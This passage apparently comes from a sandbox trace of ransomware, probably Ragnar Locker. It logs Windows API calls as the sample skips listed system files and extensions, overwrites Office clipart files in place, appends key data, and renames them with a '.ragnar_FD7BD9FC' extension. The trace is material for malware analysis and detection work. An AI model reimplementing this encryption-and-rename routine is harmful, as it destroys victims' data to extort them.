(lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.554] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7d14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.554] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.554] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.554] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.554] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.554] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.554] GetProcessHeap () returned 0x580000 [0088.554] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.554] CloseHandle (hObject=0xf4) returned 1 [0088.554] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00538_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00538_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00538_.WMF" [0088.554] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00538_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00538_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00538_.WMF.ragnar_FD7BD9FC" [0088.554] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00538_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00538_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00538_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00538_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.555] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23970600, ftCreationTime.dwHighDateTime=0x1bd4b0d, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x23970600, ftLastWriteTime.dwHighDateTime=0x1bd4b0d, nFileSizeHigh=0x0, nFileSizeLow=0x64c, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA00641_.WMF", cAlternateFileName="")) returned 1 [0088.555] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.555] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NA00641_.WMF" | out: lpString1="NA00641_.WMF") returned="NA00641_.WMF" [0088.555] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00641_.WMF") returned=".WMF" [0088.555] lstrcmpiW (lpString1="NA00641_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.555] lstrcmpiW (lpString1="NA00641_.WMF", lpString2="autorun.inf") returned 1 [0088.555] lstrcmpiW (lpString1="NA00641_.WMF", lpString2="boot.ini") returned 1 [0088.555] lstrcmpiW (lpString1="NA00641_.WMF", lpString2="bootfont.bin") returned 1 [0088.555] lstrcmpiW (lpString1="NA00641_.WMF", lpString2="bootsect.bak") returned 1 [0088.555] lstrcmpiW (lpString1="NA00641_.WMF", lpString2="bootmgr") returned 1 [0088.555] lstrcmpiW (lpString1="NA00641_.WMF", lpString2="bootmgr.efi") returned 1 [0088.555] lstrcmpiW (lpString1="NA00641_.WMF", lpString2="bootmgfw.efi") returned 1 [0088.555] lstrcmpiW (lpString1="NA00641_.WMF", lpString2="desktop.ini") returned 1 [0088.556] lstrcmpiW (lpString1="NA00641_.WMF", lpString2="iconcache.db") returned 1 [0088.556] lstrcmpiW (lpString1="NA00641_.WMF", lpString2="ntldr") returned -1 [0088.556] lstrcmpiW (lpString1="NA00641_.WMF", lpString2="ntuser.dat") returned -1 [0088.556] lstrcmpiW (lpString1="NA00641_.WMF", lpString2="ntuser.dat.log") returned -1 [0088.556] lstrcmpiW (lpString1="NA00641_.WMF", lpString2="ntuser.ini") returned -1 [0088.556] lstrcmpiW (lpString1="NA00641_.WMF", lpString2="thumbs.db") returned -1 [0088.556] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0088.556] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0088.556] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0088.556] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0088.556] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0088.556] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0088.556] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0088.556] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00641_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00641_.wmf")) returned 0x20 [0088.556] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00641_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00641_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.557] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=1612) returned 1 [0088.557] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x643, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.557] GetProcessHeap () returned 0x580000 [0088.557] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.557] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.558] VirtualAlloc (lpAddress=0x0, dwSize=0x64c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.558] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.558] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.558] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x64c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x64c, lpOverlapped=0x0) returned 1 [0088.558] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.559] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x64c, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.559] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x64c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x64c, lpOverlapped=0x0) returned 1 [0088.559] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x64c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.559] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.559] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x64c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.559] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.559] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.559] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.559] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.559] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.559] GetProcessHeap () returned 0x580000 [0088.559] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.559] CloseHandle (hObject=0xf4) returned 1 [0088.559] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00641_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00641_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00641_.WMF" [0088.559] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00641_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00641_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00641_.WMF.ragnar_FD7BD9FC" [0088.559] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00641_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00641_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00641_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00641_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.560] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7658, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA00784_.WMF", cAlternateFileName="")) returned 1 [0088.560] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.560] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NA00784_.WMF" | out: lpString1="NA00784_.WMF") returned="NA00784_.WMF" [0088.560] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00784_.WMF") returned=".WMF" [0088.560] lstrcmpiW (lpString1="NA00784_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.560] lstrcmpiW (lpString1="NA00784_.WMF", lpString2="autorun.inf") returned 1 [0088.560] lstrcmpiW (lpString1="NA00784_.WMF", lpString2="boot.ini") returned 1 [0088.560] lstrcmpiW (lpString1="NA00784_.WMF", lpString2="bootfont.bin") returned 1 [0088.560] lstrcmpiW (lpString1="NA00784_.WMF", lpString2="bootsect.bak") returned 1 [0088.560] lstrcmpiW (lpString1="NA00784_.WMF", lpString2="bootmgr") returned 1 [0088.560] lstrcmpiW (lpString1="NA00784_.WMF", lpString2="bootmgr.efi") returned 1 [0088.560] lstrcmpiW (lpString1="NA00784_.WMF", lpString2="bootmgfw.efi") returned 1 [0088.560] lstrcmpiW (lpString1="NA00784_.WMF", lpString2="desktop.ini") returned 1 [0088.560] lstrcmpiW (lpString1="NA00784_.WMF", lpString2="iconcache.db") returned 1 [0088.560] lstrcmpiW (lpString1="NA00784_.WMF", lpString2="ntldr") returned -1 [0088.561] lstrcmpiW (lpString1="NA00784_.WMF", lpString2="ntuser.dat") returned -1 [0088.561] lstrcmpiW (lpString1="NA00784_.WMF", lpString2="ntuser.dat.log") returned -1 [0088.561] lstrcmpiW (lpString1="NA00784_.WMF", lpString2="ntuser.ini") returned -1 [0088.561] lstrcmpiW (lpString1="NA00784_.WMF", lpString2="thumbs.db") returned -1 [0088.561] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0088.561] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0088.561] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0088.561] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0088.561] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0088.561] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0088.561] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0088.561] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00784_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00784_.wmf")) returned 0x20 [0088.562] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00784_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00784_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.562] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=30296) returned 1 [0088.562] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x764f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.562] GetProcessHeap () returned 0x580000 [0088.562] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.562] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.563] VirtualAlloc (lpAddress=0x0, dwSize=0x7658, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.564] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.564] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.564] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x7658, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x7658, lpOverlapped=0x0) returned 1 [0088.565] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.565] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7658, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.565] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x7658, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x7658, lpOverlapped=0x0) returned 1 [0088.565] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7658, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.565] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.566] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7658, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.566] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.566] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.566] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.566] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.566] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.566] GetProcessHeap () returned 0x580000 [0088.566] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.566] CloseHandle (hObject=0xf4) returned 1 [0088.566] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00784_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00784_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00784_.WMF" [0088.566] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00784_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00784_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00784_.WMF.ragnar_FD7BD9FC" [0088.566] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00784_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00784_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00784_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00784_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.567] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43213500, ftCreationTime.dwHighDateTime=0x1bd4af3, ftLastAccessTime.dwLowDateTime=0x594d2670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x43213500, ftLastWriteTime.dwHighDateTime=0x1bd4af3, nFileSizeHigh=0x0, nFileSizeLow=0x23f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="NA00798_.WMF", cAlternateFileName="")) returned 1 [0088.567] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.567] lstrcpyW (in: lpString1=0x1eb62e, lpString2="NA00798_.WMF" | out: lpString1="NA00798_.WMF") returned="NA00798_.WMF" [0088.567] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00798_.WMF") returned=".WMF" [0088.567] lstrcmpiW (lpString1="NA00798_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.567] lstrcmpiW (lpString1="NA00798_.WMF", lpString2="autorun.inf") returned 1 [0088.567] lstrcmpiW (lpString1="NA00798_.WMF", lpString2="boot.ini") returned 1 [0088.567] lstrcmpiW (lpString1="NA00798_.WMF", lpString2="bootfont.bin") returned 1 [0088.567] lstrcmpiW (lpString1="NA00798_.WMF", lpString2="bootsect.bak") returned 1 [0088.567] lstrcmpiW (lpString1="NA00798_.WMF", lpString2="bootmgr") returned 1 [0088.567] lstrcmpiW (lpString1="NA00798_.WMF", lpString2="bootmgr.efi") returned 1 [0088.567] lstrcmpiW (lpString1="NA00798_.WMF", lpString2="bootmgfw.efi") returned 1 [0088.567] lstrcmpiW (lpString1="NA00798_.WMF", lpString2="desktop.ini") returned 1 [0088.567] lstrcmpiW (lpString1="NA00798_.WMF", lpString2="iconcache.db") returned 1 [0088.567] lstrcmpiW (lpString1="NA00798_.WMF", lpString2="ntldr") returned -1 [0088.567] lstrcmpiW (lpString1="NA00798_.WMF", lpString2="ntuser.dat") returned -1 [0088.567] lstrcmpiW (lpString1="NA00798_.WMF", lpString2="ntuser.dat.log") returned -1 [0088.567] lstrcmpiW (lpString1="NA00798_.WMF", lpString2="ntuser.ini") returned -1 [0088.567] lstrcmpiW (lpString1="NA00798_.WMF", lpString2="thumbs.db") returned -1 [0088.567] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0088.568] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0088.568] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0088.568] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0088.568] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0088.568] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0088.568] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0088.568] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00798_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00798_.wmf")) returned 0x20 [0088.568] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00798_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00798_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.568] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=9208) returned 1 [0088.568] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x23ef, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.568] GetProcessHeap () returned 0x580000 [0088.568] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.568] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.570] VirtualAlloc (lpAddress=0x0, dwSize=0x23f8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.570] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.570] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.570] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x23f8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x23f8, lpOverlapped=0x0) returned 1 [0088.571] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.571] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x23f8, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.571] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x23f8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x23f8, lpOverlapped=0x0) returned 1 [0088.571] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x23f8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.571] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.571] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x23f8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.571] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.572] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.572] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, 